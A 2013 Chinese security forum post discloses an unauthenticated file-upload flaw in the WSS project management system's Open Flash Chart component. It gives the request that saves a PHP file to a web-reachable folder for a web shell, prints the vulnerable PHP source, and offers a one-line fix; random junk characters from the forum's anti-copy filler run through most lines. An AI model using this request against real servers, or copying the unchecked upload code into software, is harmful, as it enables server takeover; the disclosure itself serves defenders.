找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2081|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
  o5 ?" R. R# c9 W  E; q 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
. G* d/ c1 b9 m% b: J( K5 {% e& P& l+ H
1 K  x# F. }; n& b0 ^利用:8 r9 d% D! Q6 B  s
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
* j5 _% z2 G/ w& Y7 S3 |# N) D. f2 u, H
Post任意数据
0 b( w: k' Z* y5 H, i保存位置http://localhost/chart/tmp-upload-images/hfy.php  {$ U# [$ z1 }- a9 f

$ y) @5 z# s' g0 Y) g0 _# r6 [  U/ g7 J7 I% P
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
5 W! A1 n4 Y. A
7 {3 ?' H: Y9 }0 ^; V- `<?php! f+ U/ o' f1 G8 q" ?
3 G: m9 ^; E3 D; {8 f4 Y
//6 `+ X8 u' W" Q5 X
// In Open Flash Chart -> save_image debug mode, you4 a5 C. @* m9 j! J
// will see the 'echo' text in a new window.: T( a8 S! g) r6 ]1 P
//+ c8 Z2 u5 P; C2 j' U

8 D- g" b- L! b) j5 }/*0 T1 B. M" G9 {/ s7 H. c
+ l% B9 `4 T2 P1 N% I8 q
print_r( $_GET );, n; S0 _6 ^( A, s# m1 _# X4 [& [8 {
print_r( $_POST );
8 }$ S8 \( v. kprint_r( $_FILES );
4 G2 K9 J6 U- v( h3 j$ h+ K& e4 D' ?( C* t
print_r( $GLOBALS );
# L9 d- s) X+ |  {0 j: Fprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
* T: }, p1 X' `* T) |! b( w# Q1 y4 ?2 C9 R1 W. b5 r# a
*/
* N: }3 v5 }; x/ t) K6 D* N! I// default path for the image to be stored /// Q; c- X; w+ P  ~9 ^( C
$default_path = '../tmp-upload-images/';5 [+ g; C) e' R+ c  [

) B6 [" q1 I" Q/ C5 oif (!file_exists($default_path)) mkdir($default_path, 0777, true);
, ^& W% }' P9 ^) D, F$ P
7 o7 V- S+ m& }( C6 R( c// full path to the saved image including filename //6 {! U- o# @7 ^6 p, g1 Z0 I
$destination = $default_path . basename( $_GET[ 'name' ] );
6 ~% z! L+ O2 m( [7 @- N8 g; _' i& {; u2 T1 |( r; L5 M- M! z1 y
echo 'Saving your image to: '. $destination;2 I+ }, M; E% R+ j- b4 E% o( A
// print_r( $_POST );7 f% l! Q4 W/ ?/ w+ Y6 i/ w
// print_r( $_SERVER );: Y$ ]+ g$ s" C, V2 D9 e) o6 l
// echo $HTTP_RAW_POST_DATA;) Q1 P& k9 y& K& G/ L( O
! C" e4 e/ @$ D. b$ ~! B' |
//
! \( T5 O$ b+ m: M// POST data is usually string data, but we are passing a RAW .png3 \6 u2 W8 W  l  H' f1 R# X
// so PHP is a bit confused and $_POST is empty. But it has saved7 f# a8 P" e8 u  a5 h0 s  ]5 D
// the raw bits into $HTTP_RAW_POST_DATA, `* h0 [- U: Y: c: @
//
" U; L. K  S, r9 P; D3 b5 z7 Z( x7 {% Z0 J; G; ~3 W' ?/ _
$jfh = fopen($destination, 'w') or die("can't open file");- g$ e* j+ ?0 O: G
fwrite($jfh, $HTTP_RAW_POST_DATA);7 I0 ], z+ O+ I) `' ^
fclose($jfh);' {' i5 `8 \: x& V, g3 Z

% ^# u6 H' t' B& b7 u3 o//1 s' J1 K( y2 z- j1 N0 |, ?* d% u
// LOOK:- e# D) b, t/ T1 Q$ k  q7 k8 t5 r
//
% F, v5 o0 e7 S3 @! h6 a1 t( Dexit();
4 o1 b' e1 c  [1 ]- @: l//
+ u6 z* V9 @+ e' q2 {% [# i% R, w// PHP5:$ {: @: Y+ S  d; E; j
//
/ P+ L7 h* @8 K# n8 B# ]- w6 h( [2 u, d# ]0 Y$ N* B
3 {# h2 F% |; U
// default path for the image to be stored //) ?% d8 u. S8 k: }6 o8 R4 F& T
$default_path = 'tmp-upload-images/';. D) [" V7 \3 c4 K/ @+ |) K( ^

; ^' |0 Q- f2 v$ n+ u* K7 B: hif (!file_exists($default_path)) mkdir($default_path, 0777, true);  `& F+ C% s$ ?; h4 Y8 K! T

2 c" N. W7 ^% l# m+ D/ }// full path to the saved image including filename //
+ C: @! }) D) m3 d4 E* N$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); ; k8 ]( x% A6 ?! N1 e8 H) C6 g  t. o

5 o8 f9 o& q; s$ A// move the image into the specified directory //, O' c7 _: G; _/ {: o6 F
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
( o( D: P9 D# [% X$ H; c    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
+ V4 D( L  V* v7 k2 F6 ~+ x} else {7 a: G# K0 R( E9 x' d
    echo "FILE UPLOAD FAILED";1 }: P3 b$ {8 w; W$ P  h8 }6 k
}
1 A1 j5 |9 B$ O4 z, `, ]& C, ]6 [$ P
0 J% o% }" v6 l! X
?>5 Z6 b& f6 I& c
! ~; O. p' K- T3 l

- X* y* q, K" J
$ s9 y! a+ |1 a3 J$ \  \' [, {/ i' y1 ?

$ a! k/ u' R, s" X  z5 h( K4 h8 g9 o8 W4 D5 [; o) v: k
修复方案:
; |+ v2 l$ r- V; G' P) Q( x这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 $ q5 Y) s( b: E' J! ]# M% i

! q% A1 U7 j% \( f
: }9 I7 v( T& d; b
) m* ~# M% q0 Z. F) R/ Q( y0 X* l+ Y: b3 y7 P

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表